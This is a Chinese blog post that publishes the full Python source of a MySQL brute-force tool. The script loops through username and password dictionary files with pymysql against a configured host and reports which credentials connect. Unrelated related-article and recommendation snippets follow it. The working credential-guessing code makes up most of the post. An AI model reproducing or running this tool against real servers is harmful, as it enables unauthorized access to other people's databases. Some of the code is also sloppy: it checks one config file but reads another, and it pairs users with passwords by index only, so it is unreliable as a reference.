python 构造mysql爆破器
前言:
今天已经期末考完,睡了个觉起床写了个
mysql爆破器.
思路:
1.爆破用户->用户存在的话不会报错反之报错
2.爆破密码->密码正确不会报错反之报错
3.用户名和密码一起爆破->用户名和密码正确不会报错反之报错
用到的模块:
optparser
pymysql
configparser
os
代码:
import pymysql
import optparse
import os
import configparser def main():
parser=optparse.OptionParser()
parser.add_option('-u',dest='username',help='MySQL username of blasting')
parser.add_option('-p',dest='password',help='MySQL password of blasting')
parser.add_option('-a',action='store_true',dest='all',help='MySQL all of blasting')
parser.add_option('-U',dest='zhidinusername',help='Configuration parameters for all: specify user dictionary')
parser.add_option('-P',dest='zhidinpassword',help='Configuration parameters for all: specify password dictionary')
(options,args)=parser.parse_args()
if options.username:
file=options.username
usernamepo(file)
elif options.password:
file2=options.password
passwordpo(file2)
elif options.all and options.zhidinusername and options.zhidinpassword:
un=options.zhidinusername
pd=options.zhidinpassword
allpo(un,pd)
else:
parser.print_help()
exit() def usernamepo(file):
cx=open('{}'.format(file),'r')
if os.path.exists('config.ini'):
print('[+]Config.ini ok')
else:
print('[-]Config.ini Not Found')
exit() print('[*]Read the configuration file information')
cf=configparser.ConfigParser()
cf.read('config.ini')
host=cf.get('config','host')
port=cf.get('config','port')
password=cf.get('config','password')
print('[/]-------Config.ini-------')
print('[+]Host:{}'.format(host))
print('[+]Port:{}'.format(port))
print('[+]password{}'.format(password)) print('[/]------User.txt----------')
if os.path.exists(file):
print('[+]User.txt ok')
else:
print('[-]User.txt Not Found') print('[/]------Mysql blasting------')
for k in cx.readlines():
try:
db=pymysql.connect(host,k.strip(),password)
print('[+]Mysql Username in {}'.format(k.strip()))
except Exception as g:
print('[-]Not Username:{},and Error{}'.format(k.strip(),g)) def passwordpo(file2):
cx = open('{}'.format(file2), 'r')
if os.path.exists('config.ini'):
print('[+]Config.ini ok')
else:
print('[-]Config.ini Not Found')
exit() print('[*]Read the configuration file information')
cf = configparser.ConfigParser()
cf.read('config2.ini')
host = cf.get('config', 'host')
port = cf.get('config', 'port')
username = cf.get('config', 'username')
print('[/]-------Config.ini-------')
print('[+]Host:{}'.format(host))
print('[+]Port:{}'.format(port))
print('[+]username{}'.format(username)) print('[/]------passwd.txt----------')
if os.path.exists(file2):
print('[+]Passwd.txt ok')
else:
print('[-]Passwd.txt Not Found') print('[/]------Mysql blasting------')
for k in cx.readlines():
try:
db = pymysql.connect(host, username, k.strip())
print('[+]Mysql Password in {}'.format(k.strip()))
except Exception as g:
print('[-]Not Password:{},and Error{}'.format(k.strip(), g)) def allpo(un,pd):
user=open('{}'.format(un),'r')
passs=open('{}'.format(pd),'r')
usern=[]
passn=[]
if os.path.exists(un):
print('[+]Username.txt is ok')
else:
print('[-]Not Found username.txt') if os.path.exists(pd):
print('[+]Password.txt is ok')
else:
print('[-]Not Found password.txt') if os.path.exists('config3.ini'):
print('[+]Config3.ini ok')
else:
print('[-]Config3.ini Not Found')
exit() cf=configparser.ConfigParser()
print('[/---------cofnig3.ini-------]')
cf.read('config3.ini')
host=cf.get('config','host')
print('[+]host:{}'.format(host)) print('[/]------Mysql blasting------')
for u in user.readlines():
usern.append(u.strip())
for y in passs.readlines():
passn.append(y.strip())
for g in range(0,len(usern)):
try:
dk=pymysql.connect(host,usern[g],passn[g])
print('[+]Username:{} and password:{}'.format(usern[g],passn[g]))
except Exception as p:
print('[-]Not username:{} and password:{} and Error:{}'.format(usern[g],passn[g],p)) if __name__ == '__main__':
main()
-u测试:
-p测试:
-a测试:
实际连接:
python 构造mysql爆破器的更多相关文章
- Python开发【第十一篇】:Python操作MySQL
本篇对于Python操作MySQL主要使用两种方式: 1.原生模块pymsql. 2.ORM框架SQLAchemy. pymsql pymsql是Python中操作MySQL的模块,其使用方法和MyS ...
- Python 12 - Mysql & ORM
本节内容 1.数据库介绍 2.mysql数据库安装使用 3.mysql数据库基础 4.mysql命令 5.事务 6.索引 7.Python操作mysql 8.ORM sqlalchemy了解 数据库介 ...
- Python 3 mysql 数据类型
Python 3 mysql 数据类型 存储引擎决定了表的类型,而表内存放的数据也要有不同的类型,每种数据类型都有自己的宽度,但宽度是可选的 详细参考: http://www.runoob.com/m ...
- Python操作MySQL[转]
本篇对于Python操作MySQL主要使用两种方式: 1.原生模块pymsql. 2.ORM框架SQLAchemy. pymsql pymsql是Python中操作MySQL的模块,其使用方法和MyS ...
- MySQL之Python与Mysql交互
一:Python操作MySQL步骤 1:Python中操作MySQL的步骤 2.引入模块 在.py文件中引入pymysql模块 import pymysql pymysql是python的一个第三方与 ...
- python操作MySQL数据库连接
目录 一:python操作MySQL 1.python如何操作MySQL? 2.什么是 PyMySQL? 二:PyMySQL 安装 1.方法一: 2.方法二: 三:pyMySQL模块基本使用 1.py ...
- 【初学python】使用python连接mysql数据查询结果并显示
因为测试工作经常需要与后台数据库进行数据比较和统计,所以采用python编写连接数据库脚本方便测试,提高工作效率,脚本如下(python连接mysql需要引入第三方库MySQLdb,百度下载安装) # ...
- Python(九) Python 操作 MySQL 之 pysql 与 SQLAchemy
本文针对 Python 操作 MySQL 主要使用的两种方式讲解: 原生模块 pymsql ORM框架 SQLAchemy 本章内容: pymsql 执行 sql 增\删\改\查 语句 pymsql ...
- 使用 python 管理 mysql 开发工具箱 - 1
Mysql 是一个比较优秀的开源的数据库,很多公司都在使用.作为运维人员,经常做着一些重复性的工作,比如创建数据库实例,数据库备份等,完全都可以使用 python 编写一个工具来实现. 一.模块 Co ...
随机推荐
- JS学习笔记(模态框JS传参)
博主最近基于django框架的平台第一版差不多完成了 今天整理下开发过程中遇到的前端知识 基于前端bootstrap框架模态框传参问题 上前端html代码: <div class="m ...
- Jbuilder(3300✨)
https://github.com/rails/jbuilder Jbuilder(3300✨) Jbuilder gives you a simple DSL for declaring JSON ...
- KMP与AC自动机
KMP算法主要思想就是预处理出失配函数, 从而减少匹配失败时的回溯, 复杂度是$\Theta(m+n)$, 已达到理论下界 c++代码如下 int n, f[N]; char t[N], p[N]; ...
- IOS-详解KVO底层实现
一.KVO (Key-Value Observing) KVO 是 Objective-C 对观察者模式(Observer Pattern)的实现.也是 Cocoa Binding 的基础.当被观察对 ...
- Eclipse中配置Solr源码
转自 http://hongweiyi.com/2013/03/configurate-solr-src-in-eclipse/ 1. 下载solr的src包,并解压 2. 解压后,在解压后的根目录执 ...
- New Concept English Two 5
$课文9 冷遇 83. On Wednesday evening, we went to the Town Hall. 星期三的晚上,我们去了市政厅. 84. It was the last day ...
- Git 学习之 Git Basics
最近在用git,但git学习曲线实在是有点高. 好在找到一个文档 https://www.atlassian.com/git/tutorial/,以下就是学习笔记吧! git init git ini ...
- IOS NSBundle的使用,注意mainBundle和Custom Bundle的区别
1.[NSBundle mainBundle],文件夹其实是Group,如左侧的树形文件管理器 Build之后,文件直接就复制到了根目录下,于是读取的方法,应该是这样: NSString *earth ...
- 这是C语言结课前(期末考试之前)写给牛晓霞的一封信!
致尊敬的牛晓霞老师: 这是黄领衫的感想,也是想告诉你的话! 在老师说要给班里写得好的人发黄领衫的时候,我当时的想法是我很有可能拿到这份奖品的,怎么说呢,算是一种自信吧,或是对自己的态度的认可.虽然我能 ...
- 手动整合实现SSH项目开发02
在bean包下建立User类和User.hbm.xml文件,实现User类和数据库表User的映射关系,具体User类不多说,User.hbm.xml如下: <?xml version=&quo ...